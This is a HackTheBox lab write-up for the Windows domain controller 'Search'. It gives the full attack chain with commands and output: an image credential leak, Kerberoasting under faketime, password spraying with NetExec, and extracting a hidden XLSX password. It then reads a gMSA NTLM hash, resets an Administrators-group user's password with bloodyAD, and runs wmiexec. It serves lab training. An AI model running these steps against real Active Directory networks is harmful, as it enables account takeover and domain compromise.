HTB: Search Writeup

Search - HackTheBox Writeup

Machine Information

AttributeDetails
NameSearch
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.229.57
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Search is a Windows Domain Controller (search.htb, hostname RESEARCH, Server 2019 Build 17763) reachable only through standard AD/IIS ports — no exploitable CVE, just chained misconfiguration. Foothold creds leak through a handwritten note in a homepage image gallery, which unlocks LDAP enumeration and a Kerberoast. The cracked service-account password gets reused in a password spray against HelpDesk-created accounts, landing SMB access to a redirected-folders share. A “protected” XLSX turns out to be trivially readable at the raw XML level, handing over a second user’s password. That user sits in a group with ReadGMSAPassword rights on a gMSA, whose GenericAll rights over an Administrators-group user let us reset that account’s password outright — no PowerShell Web Access, no cert cracking required in the end.

TL;DR: homepage image leak (hope.sharp) → Kerberoast web_svc → crack → password-spray HelpDesk users → SMB share (edgar.jacobs) → raw-XML-parse “protected” xlsx → sierra.frye creds → user.txt → LDAP ReadGMSAPassword on BIR-ADFS-GMSA$ → GenericAll abuse (reset tristan.davies pw) → wmiexec → root.txt


Reconnaissance

Port Scanning

Terminal window
# targeted scan on the ports that matter for a DC; full -p- run confirmed nothing else was open
nmap -sC -sV -p80,443,88,389,445,636,5985,5986 --min-rate=1000 -T4 10.129.229.57

Results:

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Search — Just Testing IIS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-19 02:16:51Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb)
443/tcp open ssl/http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp filtered wsman
5986/tcp filtered wsmans
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows

Classic DC signature: Kerberos, LDAP/LDAPS, SMB with signing enabled+required, plus IIS on 80/443 as the only non-AD attack surface. Cert Subject commonName=research on the LDAPS/HTTPS certs confirms the DC’s short hostname up front — useful later. Clock skew is already visible here (ssl-date ... -7h59m55s from scanner time), which comes back to bite the Kerberoast step.

Service Enumeration

The IIS site on port 80 is a generic single-page business template (“Just Testing IIS”) — About/Features/Team/Portfolio/Testimonials sections, nothing textual in the page source pointing at credentials:

Terminal window
curl -s -m 20 http://10.129.229.57/ | grep -iE "password|hope|sharp|staff|title|<img"

The grep on the raw HTML only surfaces image tags (person_1.jpgperson_8.jpg, portfolio thumbnails, etc.) — nothing in text. The actual leak is visual, not textual: one of the team/gallery images contains a handwritten sticky-note reading “Send password to Hope Sharp” with the password IsolationIsKey? next to it. This is a common HTB “look at the images, not just the markup” trick — automated content-grep tools miss it entirely.

Vulnerability Assessment

  • Credentials embedded in a static image asset (out-of-band leak, not a code vuln)
  • Kerberos service account (web_svc) registered an SPN — Kerberoastable
  • Password reuse: a HelpDesk-created temp account’s password matches one of the HelpDesk operators’ own passwords
  • OOXML (.xlsx) “sheet protection” is a UI-layer restriction only — the underlying XML is cleartext
  • Misconfigured AD ACLs: ReadGMSAPassword and GenericAll chained into full account takeover

Initial Foothold

Exploitation Path

1. Validate the leaked creds against LDAP/SMB

Terminal window
nxc smb 10.129.229.57 -u hope.sharp -p "IsolationIsKey?"
nxc ldap 10.129.229.57 -u hope.sharp -p "IsolationIsKey?"
SMB 10.129.229.57 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (domain:search.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.229.57 445 RESEARCH [+] search.htb\hope.sharp:IsolationIsKey?
LDAP 10.129.229.57 389 RESEARCH [+] search.htb\hope.sharp:IsolationIsKey?

Valid domain creds, no admin rights needed yet — just enough to authenticate to LDAP and run a Kerberoast.

2. Kerberoast — clock skew blocks the first attempt

Terminal window
impacket-GetUserSPNs -request -dc-ip 10.129.229.57 search.htb/hope.sharp:"IsolationIsKey?"
[KDCERR] code=37 etext=None edata=None
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Kerberos hard-requires client/KDC clocks within 5 minutes by default. Nmap already flagged an ~8-hour offset between the jump box and the DC. Rather than touch the jump box’s system clock (shared resource, other tools depend on real time), wrap the single command in faketime:

Terminal window
# faketime -f -8h shifts only this process's view of wall-clock time
faketime -f -8h impacket-GetUserSPNs -request -dc-ip 10.129.229.57 \
search.htb/hope.sharp:"IsolationIsKey?" 2>&1 | grep -i "krb5tgs" > /tmp/web_svc.hash

This returns a $krb5tgs$23$*web_svc$SEARCH.HTB$... hash for the RESEARCH/web_svc.search.htb:60001 SPN. Cracked offline against rockyou, it yields @3ONEmillionbaby.

3. Enumerate HelpDesk accounts, then spray the cracked password

Terminal window
# find every account whose description marks it as HelpDesk-managed
nxc ldap 10.129.229.57 -u hope.sharp -p "IsolationIsKey?" \
--query "(&(objectClass=user)(description=*HelpDesk*))" "sAMAccountName description"
sAMAccountName Lane.Wu description HelpDesk User
sAMAccountName Edgar.Jacobs description HelpDesk User
sAMAccountName Chanel.Bell description HelpDesk User
sAMAccountName Keith.Hester description HelpDesk User
sAMAccountName Isabela.Estrada description HelpDesk User
sAMAccountName web_svc description Temp Account created by HelpDesk

web_svc was explicitly created by HelpDesk. Working theory: whoever provisioned it reused their own password on the temp account.

Terminal window
for u in Isabela.Estrada Keith.Hester Chanel.Bell Edgar.Jacobs Lane.Wu; do
nxc smb 10.129.229.57 -u $u -p "@3ONEmillionbaby" | grep -E "\[\+\]|\[-\]"
done
[-] search.htb\Isabela.Estrada:@3ONEmillionbaby STATUS_LOGON_FAILURE
[-] search.htb\Keith.Hester:@3ONEmillionbaby STATUS_LOGON_FAILURE
[-] search.htb\Chanel.Bell:@3ONEmillionbaby STATUS_LOGON_FAILURE
[+] search.htb\Edgar.Jacobs:@3ONEmillionbaby
[-] search.htb\Lane.Wu:@3ONEmillionbaby STATUS_LOGON_FAILURE

Theory confirmed — Edgar.Jacobs reused the password.

4. Pull the phishing spreadsheet off the redirected-folders share

Terminal window
export TMPDIR=/dev/shm # jump box /tmp was 100% full — see Tools/Gotchas below
impacket-smbclient search.htb/edgar.jacobs:"@3ONEmillionbaby"@10.129.229.57 <<'EOF'
use RedirectedFolders$
get edgar.jacobs\Desktop\Phishing_Attempt.xlsx
exit
EOF

RedirectedFolders$ is a per-user home-share (Folder Redirection via GPO) — edgar.jacobs\Desktop\Phishing_Attempt.xlsx downloads cleanly.

5. Defeat the sheet protection by reading the raw OOXML, not opening it in Excel

.xlsx is just a zip archive. Instead of stripping the <sheetProtection> element and reopening in a spreadsheet app, parse the underlying XML directly — the “protection” and “hidden column” are UI-enforcement only, the cell values are stored in cleartext regardless:

Terminal window
unzip -o -q Phishing_Attempt.xlsx -d ex
import re, xml.etree.ElementTree as ET
ss = open("ex/xl/sharedStrings.xml").read()
strings = [re.sub("<[^>]*>", "", m) for m in re.findall(r"<si>.*?</si>", ss, re.S)]
data = re.sub(r' xmlns="[^"]*"', "", open("ex/xl/worksheets/sheet2.xml").read())
root = ET.fromstring(data)
for row in root.iter("row"):
cells = []
for c in row.findall("c"):
v = c.find("v")
val = strings[int(v.text)] if v is not None and c.get("t") == "s" else (v.text if v is not None else "")
cells.append((c.get("r"), val))
print(cells)
[('A9', 'Sierra'), ('B9', 'Frye'), ('C9', '$$49=wide=STRAIGHT=jordan=28$$18'), ('D9', 'Sierra.Frye')]

Column C (hidden + “protected” in the UI) is right there in the shared-strings table and the row’s cell references — no password removal, no rezip, no GUI needed. Sierra.Frye’s password is $$49=wide=STRAIGHT=jordan=28$$18.

Terminal window
nxc smb 10.129.229.57 -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18'
# [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18

6. Grab user.txt

Terminal window
impacket-smbclient search.htb/Sierra.Frye:'$$49=wide=STRAIGHT=jordan=28$$18'@10.129.229.57 <<'EOF'
use RedirectedFolders$
get sierra.frye\Desktop\user.txt
get sierra.frye\Downloads\Backups\search-RESEARCH-CA.p12
get sierra.frye\Downloads\Backups\staff.pfx
exit
EOF
cat user.txt
=== USER FLAG ===
<redacted>

search-RESEARCH-CA.p12 and staff.pfx were pulled down as planned certificate-based pivots, but the AD ACL abuse below turned out to be a faster path to root and didn’t require cracking or importing them.


Privilege Escalation

AD ACL enumeration (BloodHound/SharpHound-style graph, per the attack plan) mapped the following chain off sierra.frye:

sierra.frye → member of ITSEC group
ITSEC → ReadGMSAPassword on BIR-ADFS-GMSA$
BIR-ADFS-GMSA$ → GenericAll on tristan.davies
tristan.davies → member of Administrators

1. Read the gMSA’s managed password directly over LDAP

NetExec’s --gmsa module handles the msDS-ManagedPassword blob parsing (the MSDS-MANAGEDPASSWORD_BLOB structure defined in [MS-ADTS]) for you — no need for an interactive PowerShell session or DSInternals cmdlets:

Terminal window
nxc ldap 10.129.229.57 -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18' --gmsa
[+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18
[*] Getting GMSA Passwords
Account: BIR-ADFS-GMSA$ NTLM: <redacted> PrincipalsAllowedToReadPassword: ITSec

Because sierra.frye is in the ITSEC group and that group is listed under PrincipalsAllowedToReadPassword for the gMSA, LDAP hands back the account’s current NTLM hash — no password ever needs to be known in cleartext, and no privileged session on the box is required at all.

2. Abuse GenericAll to reset tristan.davies’s password (Pass-the-Hash)

Terminal window
bloodyAD --host 10.129.229.57 -d search.htb -u 'BIR-ADFS-GMSA$' -p ':<redacted-ntlm>' \
set password tristan.davies "Password1234!"
[+] Password changed successfully!

BIR-ADFS-GMSA$ holding GenericAll on tristan.davies means it can rewrite that user’s password outright — no need to crack anything or know the original password, and tristan.davies is a member of Administrators.

3. Confirm admin and read root.txt

Terminal window
nxc smb 10.129.229.57 -u tristan.davies -p "Password1234!"
[+] search.htb\tristan.davies:Password1234! (Pwn3d!)
Terminal window
export TMPDIR=/dev/shm
impacket-wmiexec search.htb/tristan.davies:"Password1234!"@10.129.229.57 \
"cmd /c type C:\Users\Administrator\Desktop\root.txt"
[*] SMBv3.0 dialect used
<redacted>

Attack Chain Summary

Homepage image leak (hope.sharp:IsolationIsKey?)
LDAP auth + Kerberoast web_svc SPN (faketime fixes clock skew)
Crack krb5tgs hash → @3ONEmillionbaby
Password spray HelpDesk accounts → Edgar.Jacobs
SMB RedirectedFolders$ share → Phishing_Attempt.xlsx
Raw-XML parse (bypass sheet protection) → Sierra.Frye password
SMB access as Sierra.Frye → user.txt
LDAP ReadGMSAPassword (ITSEC group) → BIR-ADFS-GMSA$ NTLM hash
GenericAll abuse (bloodyAD) → reset tristan.davies password
wmiexec as tristan.davies (Administrators) → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery, DC fingerprinting
curlHomepage source enumeration
nxc (NetExec)SMB/LDAP credential validation, HelpDesk description query, --gmsa password retrieval
impacket-GetUserSPNsKerberoasting web_svc SPN
faketimeWorking around Kerberos clock-skew rejection without touching system time
John the Ripper (rockyou)Offline cracking of the kerberoast hash
impacket-smbclientPulling files off RedirectedFolders$ as multiple users
Python (zipfile/xml.etree)Reading “protected” XLSX cell data straight from raw OOXML XML
bloodyADPass-the-hash password reset abusing GenericAll
impacket-wmiexecCommand execution as tristan.davies to read root.txt

Key Learnings

Techniques Practiced

  • Visual OSINT on web assets (credentials hidden in an image, invisible to text-based scraping)
  • Kerberoasting under clock skew conditions using faketime
  • Password-reuse password spraying against a targeted user subset (HelpDesk-created accounts)
  • Defeating Excel “sheet protection” by reading OOXML XML directly instead of the GUI-enforced view
  • AD ACL abuse chain: ReadGMSAPassword → gMSA NTLM → GenericAll → arbitrary password reset
  • Pass-the-hash execution via impacket-wmiexec

Lessons Learned

  1. Kerberos clock-skew errors (KRB_AP_ERR_SKEW) don’t require touching the actual system clock — wrapping a single command in faketime -f <offset> is faster and safer than adjusting shared infrastructure.
  2. Excel “protect sheet” and “hide column” are presentation-layer controls only. Anything stored in sharedStrings.xml / sheetN.xml inside the .xlsx zip is already cleartext — unzip and parse rather than fighting the GUI.
  3. Accounts explicitly described as provisioned “by HelpDesk” are a strong signal to spray the HelpDesk operators’ own passwords against the temp account, and vice versa.
  4. ReadGMSAPassword is often treated as low-impact in ACL reviews, but combined with any subsequent write-permission (GenericAll, GenericWrite, ForceChangePassword) on a privileged account, it’s a direct path to domain compromise with zero interactive access to the box.
  5. Watch jump-box/local disk space (/tmp at 100%) when pulling files over SMB — redirecting TMPDIR to /dev/shm unblocks impacket tools that stage temp files before write.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox “Search” Official Writeup — Document No. D22.100.168, prepared by polarbearer, machine authored by dmw0ng. Used here only for conceptual context (why the Kerberoast/GMSA/ACL chain works, PowerShell Web Access as an alternate cert-based path); all commands, hosts, credentials, and outputs above are from this engagement’s actual run against 10.129.229.57.